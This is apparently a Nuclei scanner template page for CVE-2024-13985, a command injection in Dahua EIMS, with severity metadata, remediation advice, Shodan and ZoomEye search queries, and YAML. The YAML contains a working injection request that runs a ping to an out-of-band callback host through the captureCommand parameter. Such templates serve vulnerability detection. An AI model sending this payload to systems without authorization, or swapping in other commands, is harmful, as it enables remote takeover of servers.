CVE-2024-13985: Dahua EIMS - Unauthenticated Remote Code Execution via capture_handle
- Template: CVE-2024-13985
- Name: Dahua EIMS - Unauthenticated Remote Code Execution via capture_handle
- Description: A command injection vulnerability in Dahua EIMS versions prior to 2240008 allows unauthenticated remote attackers to execute arbitrary system commands via the capture_handle.action interface. The flaw stems from improper input validation in the captureCommand parameter, which is processed without sanitization or authentication. By sending crafted HTTP requests, attackers can inject OS-level commands that are executed on the server, leading to full system compromise. Exploitation evidence was first observed by the Shadowserver Foundation on 2024-04-06 UTC.
- Impact: Complete unauthenticated server compromise. An attacker can read/write arbitrary files, install backdoors, pivot to the internal network, or disrupt emergency information services.
- Remediation: Apply the latest security patches from Dahua Security for the EIMS platform. Restrict access to the EIMS management interface to trusted IP ranges only. Place a WAF rule to block requests containing captureCommand to capture_handle.action.
- Severity: critical
- Authors: DhiyaneshDk
- Tags: cve, cve2024, dahua, eims, rce, oast, pre-auth, vkev
- References: https://github.com/ahisec/nuclei-tps/blob/main/http/vulnerabilities/dahua/dahua-eims-capture-handle-rce.yaml, https://cn-sec.com/archives/2554372.html, https://github.com/wy876/POC/blob/main/%E5%A4%A7%E5%8D%8EEIMS-capture_handle%E6%8E%A5%E5%8F%A3%E8%BF%9C%E7%A8%8B%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E.md
- Cves: CVE-2024-13985
- Verified: yes
- Max requests: 2
- Directory: http/cves
- Path: http/cves/2024/CVE-2024-13985.yaml
- Digest: 490a0046304402204dde245ee22fd0c80487be03dbbd0bd94541707f80294e5a730317f6185ac33f02203052bde8bddf5a34332d146e3bdfb076a3d594985697c6e8c1fb1be9cd4e5576
- Created at: 2026-08-13T10:27:59Z
- Updated at: 2026-11-23T02:03:43Z
- Age in days: 103
- Template url: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2024/CVE-2024-13985.yaml
- Checked, none or zero: products
Classification
- Cwe: CWE-78
- Cvss score: 9.8
- Cvss vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
- Epss score: 0.1487
- Epss percentile: 0.9678
- Not known: cpe
Metadata
- Max-request: 2
- Shodan-query: "Dahua EIMS"
- Verified: yes
- Zoomeye-query: app="大华 EIMS"
Labels
- Name: Dahua EIMS - Command Injection
- Impact: Unauthenticated remote attackers can execute arbitrary system commands, potentially leading to full system compromise.
- Remediation: Update to version 2240008 or later.
- Vulnerability type: command_injection
- Vulnerability impact: remote_code_execution
- Requirement type: none
- Labels source: projectdiscovery
- From cve: CVE-2024-13985
- Not known: requirements
```yaml
id: CVE-2024-13985
info:
name: Dahua EIMS - Unauthenticated Remote Code Execution via capture_handle
author: DhiyaneshDk
severity: critical
description: |
A command injection vulnerability in Dahua EIMS versions prior to 2240008 allows unauthenticated remote attackers to execute arbitrary system commands via the capture_handle.action interface. The flaw stems from improper input validation in the captureCommand parameter, which is processed without sanitization or authentication. By sending crafted HTTP requests, attackers can inject OS-level commands that are executed on the server, leading to full system compromise. Exploitation evidence was first observed by the Shadowserver Foundation on 2024-04-06 UTC.
impact: |
Complete unauthenticated server compromise. An attacker can read/write arbitrary files, install backdoors, pivot to the internal network, or disrupt emergency information services.
remediation: |
Apply the latest security patches from Dahua Security for the EIMS platform. Restrict access to the EIMS management interface to trusted IP ranges only. Place a WAF rule to block requests containing captureCommand to capture_handle.action.
reference:
- https://cn-sec.com/archives/2554372.html
classification:
cve-id: CVE-2024-13985
epss-score: 0.1487
epss-percentile: 0.9678
cwe-id: CWE-78
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
metadata:
verified: true
max-request: 2
shodan-query: '"Dahua EIMS"'
zoomeye-query: 'app="大华 EIMS"'
tags: cve,cve2024,dahua,eims,rce,oast,pre-auth,vkev
http:
- method: GET
path:
- "{{BaseURL}}/config/asst/system_setPassWordValidate.action/capture_handle.action?captureFlag=true&captureCommand=ping%20{{interactsh-url}}%20index.pcap"
matchers-condition: and
matchers:
- type: word
part: interactsh_protocol
words:
- "dns"
- type: regex
regex:
- "^success$"
digest: 490a0046304402204dde245ee22fd0c80487be03dbbd0bd94541707f80294e5a730317f6185ac33f02203052bde8bddf5a34332d146e3bdfb076a3d594985697c6e8c1fb1be9cd4e5576:922c64590222798bb761d5b6d8e72950
```